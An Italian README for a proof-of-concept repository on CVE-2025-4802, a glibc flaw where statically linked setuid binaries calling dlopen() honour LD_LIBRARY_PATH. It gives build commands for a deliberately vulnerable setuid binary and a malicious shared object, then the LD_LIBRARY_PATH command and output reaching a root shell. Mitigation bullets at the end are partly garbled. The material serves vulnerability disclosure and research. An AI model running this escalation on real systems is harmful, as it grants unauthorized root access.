
Proof of Concept per un binario setuid compilato staticamente vulnerabile a dlopen con LD_LIBRARY_PATH
⚠️ Disclaimer: Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata. Non utilizzare questo exploit contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test. L'uso improprio può violare leggi e regolamenti.
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2025-4802 |
| Software interessato | GNU C Library (glibc) |
| Versioni interessate | 2.27 – 2.38 |
| Tipo di vulnerabilità | Privilege Escalation tramite LD_LIBRARY_PATH non attendibile |
| Vettore di attacco | Locale |
Una vulnerabilità nella GNU C Library (glibc) versioni 2.27 fino alla 2.38 consente a un attaccante di sfruttare la variabile d'ambiente LD_LIBRARY_PATH in binari setuid compilati staticamente che chiamano dlopen().
Normalmente, il dynamic linker sanifica LD_LIBRARY_PATH per i programmi setuid. Tuttavia, i binari compilati staticamente bypassano completamente il dynamic linker, quindi LD_LIBRARY_PATH non viene mai ripulita. Quando un tale binario chiama dlopen() (direttamente, o indirettamente tramite setlocale() o funzioni NSS come getaddrinfo()), glibc risolve le librerie condivise utilizzando il LD_LIBRARY_PATH controllato dall'attaccante, consentendo l'esecuzione di codice arbitrario con privilegi elevati.
dlopen("myso.so", ...) per caricare un oggetto condiviso per nome (non un percorso assoluto).ld-linux.so) non viene mai eseguito, quindi LD_LIBRARY_PATH non viene sanificata.myso.so) che esporta lo stesso simbolo hello() ma genera una shell di root.LD_LIBRARY_PATH in modo che punti alla directory contenente la libreria malevola..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc, makemake all
Oppure manualmente:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Output previsto:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (comportamento malevolo)LD_LIBRARY_PATH=./evil_library ./main
Output previsto:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Il binario carica il myso.so dell'attaccante da evil_library/ invece di quello legittimo, generando una shell di root.

È disponibile anche una video walkthrough: proof_of_concept_video.mp4
dlopen()dlopen() invece di nomi di libreria nudidlopen()